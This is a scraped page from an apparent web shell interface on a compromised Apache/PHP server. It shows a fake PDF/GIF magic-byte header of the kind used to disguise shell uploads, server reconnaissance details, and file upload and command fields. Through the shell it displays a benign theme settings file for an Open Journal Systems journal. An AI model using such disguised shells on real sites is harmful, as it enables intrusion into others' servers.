%PDF-1.7 GIF89;
shell
Server IP : 104.20.45.2  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/plugins/themes/IjesJournal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /app/plugins/themes/IjesJournal/IjesJournalSettingsForm.inc.php
<?php

/**
 * @file plugins/themes/IjesJournal/ResponsiveThemeSettingsForm.inc.php
 *
 * Copyright (c) 2013-2015 Simon Fraser University Library
 * Copyright (c) 2003-2015 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class ResponsiveThemeSettingsForm
 * @ingroup plugins_themes_responsiveTheme
 *
 * @brief Form for journal managers to modify Responsive theme plugin settings
 */

import('lib.pkp.classes.form.Form');

class IjesJournalSettingsForm extends Form {

	/** @var $journalId int */
	var $journalId;

	/** @var $plugin object */
	var $plugin;

	/**
	 * Constructor
	 * @param $plugin object
	 * @param $journalId int
	 */
	function IjesJournalSettingsForm(&$plugin, $journalId) {
		$this->journalId = $journalId;
		$this->plugin =& $plugin;

		parent::Form($plugin->getTemplatePath() . 'templates/themeSetting/settingsForm.tpl');
	}

	/**
	 * Display the form
	 */
	function display() {
		$templateMgr =& TemplateManager::getManager(); 
		//$additionalHeadData = $templateMgr->get_template_vars('additionalHeadData');
		$themeHeadData = '<script type="text/javascript" src="' . Request::getBaseUrl() . '/plugins/themes/IjesJournal/picker.js"></script>' . "\n";
		$templateMgr->addStyleSheet(Request::getBaseUrl() . '/plugins/themes/IjesJournal/picker.css');
		$templateMgr->assign('themeHeadData', $themeHeadData);
		$stylesheetFilePluginLocation = $this->plugin->getPluginPath() . '/css/' . $this->plugin->getStylesheetFilename();
		if (!$this->_canUsePluginPath() || $this->plugin->getSetting($this->journalId, 'IjesJournalPerJournal')) {
			if (!$this->_canUsePluginPath()) {
				$templateMgr->assign('disablePluginPath', true);
				$templateMgr->assign('stylesheetFilePluginLocation', $stylesheetFilePluginLocation);
			}
			import('classes.file.PublicFileManager');
			$fileManager = new PublicFileManager();
			$stylesheetFileLocation = $fileManager->getJournalFilesPath($this->journalId) . '/' . $this->plugin->getStylesheetFilename();
		} else {
			$stylesheetFileLocation = $stylesheetFilePluginLocation;
		}
		$templateMgr->assign('canSave', $this->_is_writable($stylesheetFileLocation));
		$templateMgr->assign('stylesheetFileLocation', $stylesheetFileLocation);

		return parent::display();
	}

	/**
	 * Initialize form data.
	 */
	function initData() {
		$journalId = $this->journalId;
		$plugin =& $this->plugin;

		$this->_data = array(
			'headetSettingColour' => $plugin->getSetting($journalId, 'headetSettingColour'),
			'footerSettingColour' => $plugin->getSetting($journalId, 'footerSettingColour'),
			'buttonsSettingColour' => $plugin->getSetting($journalId, 'buttonsSettingColour'),
			'footerBottomSettingColour' => $plugin->getSetting($journalId, 'footerBottomSettingColour'),
			'themeSettingLinkColour' => $plugin->getSetting($journalId, 'themeSettingLinkColour'),
			'IjesJournalBackgroundColour' => $plugin->getSetting($journalId, 'IjesJournalBackgroundColour'),
			'IjesJournalForegroundColour' => $plugin->getSetting($journalId, 'IjesJournalForegroundColour'),
			'IjesJournalPerJournal' => $plugin->getSetting($journalId, 'IjesJournalPerJournal'),
		);
	}

	/**
	 * Assign form data to user-submitted data.
	 */
	function readInputData() {
		$this->readUserVars(array('headetSettingColour', 'footerSettingColour', 'buttonsSettingColour', 'footerBottomSettingColour', 'themeSettingLinkColour', 'IjesJournalBackgroundColour', 'IjesJournalForegroundColour', 'IjesJournalPerJournal'));
	}

	/**
	 * Save settings. 
	 */
	function execute() {
		$plugin =& $this->plugin;
		$journalId = $this->journalId; 
		$css = '';

		// Header colours
		$headetSettingColour = $this->getData('headetSettingColour');
		$plugin->updateSetting($journalId, 'headetSettingColour', $headetSettingColour, 'string');
		$css .= "#header, #mainmenu, .dropdown-menu, .dropdown-menu.submenu {background-color: $headetSettingColour;border-color: $headetSettingColour;}\n";
		$css .= "#header {border-color: $headetSettingColour;}\n";
		$css .= "#footer {background-color: $headetSettingColour;}\n";
		$css .= "table.listing tr.fastTracked {background-color: $headetSettingColour;}\n";
		$css .= ".navbar-default .navbar-nav > .open > a, .navbar-default .navbar-nav > .open > a:hover, .navbar-default .navbar-nav > .open > a:focus, .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus, .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {background-color: ".$this->adjustBrightness($headetSettingColour, '50').";}\n";
		$css .= ".navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus {background-color: ".$this->adjustBrightness($headetSettingColour, '50').";}\n";
		$css .= ".navbar-default .navbar-toggle:hover, .navbar-default .navbar-toggle:focus, .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus,.navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus, .navbar-default .navbar-nav > li > a:hover, .navbar-default .navbar-nav > li > a:focus {background-color: ".$this->adjustBrightness($headetSettingColour, '50').";}\n";
		

		// footer colours
		$footerSettingColour = $this->getData('footerSettingColour');
		$plugin->updateSetting($journalId, 'footerSettingColour', $footerSettingColour, 'string');
		$css .= "#pageFooter {background-color: $footerSettingColour;}\n";
		
		// footer colours
		$footerBottomSettingColour = $this->getData('footerBottomSettingColour');
		$plugin->updateSetting($journalId, 'footerBottomSettingColour', $footerBottomSettingColour, 'string');
		$css .= "#pageFooter-bottom {background-color: $footerBottomSettingColour;}\n";
		
		// Buttons colours
		$buttonsSettingColour = $this->getData('buttonsSettingColour');
		$plugin->updateSetting($journalId, 'buttonsSettingColour', $buttonsSettingColour, 'string');
		$css .= "input.defaultButton {color: $buttonsSettingColour;}\n";
		$css .= "input.button, .btn-primary, input.button:link, .btn-primary:link  {background-color: $buttonsSettingColour;border-color: $buttonsSettingColour;}\n";
		$css .= "input.button:hover, .btn-primary:hover, input.button:active, .btn-primary:active, input.button:visited, .btn-primary:visited {background-color: ".$this->adjustBrightness($buttonsSettingColour, '-10').";border-color: ".$this->adjustBrightness($buttonsSettingColour, '-10').";}\n";
		$css .= ".btn-primary, .btn-primary:link, a.btn-primary, a.btn-primary:link, input.button:link, .btn-primary:link {color: #ffffff;}\n";
		
		// Body link colour
		$themeSettingLinkColour = $this->getData('themeSettingLinkColour');
		$plugin->updateSetting($journalId, 'themeSettingLinkColour', $themeSettingLinkColour, 'string');
		$css .= "a,a:link {color: $themeSettingLinkColour;}\n";
		$css .= "a:hover, a:active, a:visited {color: ".$this->adjustBrightness($themeSettingLinkColour, '-10').";}\n";
		
		// Background colour of Body
		$IjesJournalBackgroundColour = $this->getData('IjesJournalBackgroundColour');
		$plugin->updateSetting($journalId, 'IjesJournalBackgroundColour', $IjesJournalBackgroundColour, 'string');
		$css .= "body {background-color: $IjesJournalBackgroundColour;}\n";
		$css .= "input.defaultButton, input.defaultButton:link {background-color: #ffffff;border-color: #cccccc;}\n";
		$css .= "input.defaultButton:hover, input.defaultButton:active, input.defaultButton:visited, input.defaultButton:focus, input.btn-default:focus {background-color: #ebebeb;border-color: #adadad !important;color: #333;}\n";
		//$css .= "input.defaultButton, input.defaultButton:link {background-color: $IjesJournalBackgroundColour;border-color: ".$this->adjustBrightness($IjesJournalColour, '50').";}\n";
		//$css .= "input.defaultButton:hover, input.defaultButton:active, input.defaultButton:visited, input.defaultButton:focus, input.btn-default:focus {background-color: #ffffff;border-color: #cccccc;}\n";

		// Body text colour
		$IjesJournalForegroundColour = $this->getData('IjesJournalForegroundColour');
		$plugin->updateSetting($journalId, 'IjesJournalForegroundColour', $IjesJournalForegroundColour, 'string');
		$css .= "body {color: $IjesJournalForegroundColour;}\n";

		import('classes.file.PublicFileManager');
		$fileManager = new PublicFileManager();
		$IjesJournalPerJournal = $this->getData('IjesJournalPerJournal');
		if (!$IjesJournalPerJournal && !$this->_canUsePluginPath()) {
			$IjesJournalPerJournal = true;
		}
		$plugin->updateSetting($journalId, 'IjesJournalPerJournal', $IjesJournalPerJournal, 'bool');
		if ($IjesJournalPerJournal) {
			$fileManager->writeJournalFile($journalId, $this->plugin->getStylesheetFilename(), $css);
		} else {
			$fileManager->writeFile(dirname(__FILE__) . '/css/' . $this->plugin->getStylesheetFilename(), $css);
		}
	}
	
	/**
	 * Adjust Brightness of hax colour
	 */
	function adjustBrightness($hex, $steps) {
	    // Steps should be between -255 and 255. Negative = darker, positive = lighter
	    $steps = max(-255, min(255, $steps));
	
	    // Normalize into a six character long hex string
	    $hex = str_replace('#', '', $hex);
	    if (strlen($hex) == 3) {
		$hex = str_repeat(substr($hex,0,1), 2).str_repeat(substr($hex,1,1), 2).str_repeat(substr($hex,2,1), 2);
	    }
	
	    // Split into three parts: R, G and B
	    $color_parts = str_split($hex, 2);
	    $return = '#';
	
	    foreach ($color_parts as $color) {
		$color   = hexdec($color); // Convert to decimal
		$color   = max(0,min(255,$color + $steps)); // Adjust color
		$return .= str_pad(dechex($color), 2, '0', STR_PAD_LEFT); // Make two char hex code
	    }
	
	    return $return;
	}



	/**
	 * Evaluate whether the plugin path is writable and available for use
	 */
	function _canUsePluginPath() {
		return is_writable($this->plugin->getPluginPath() . '/css/' . $this->plugin->getStylesheetFilename());
	}
	
	/**
	 * Evaluate whether a path is writable
	 * Check if the filename provided (or the parent directory, if the filename does not exist) can be written
	 */
	function _is_writable($filename) {
		if (is_writable($filename)) {
			return true;
		} elseif (!file_exists($filename) && is_writable(dirname($filename))) {
			return true;
		}
		return false;
	}
}

?>

Anon7 - 2022
SCDN GOK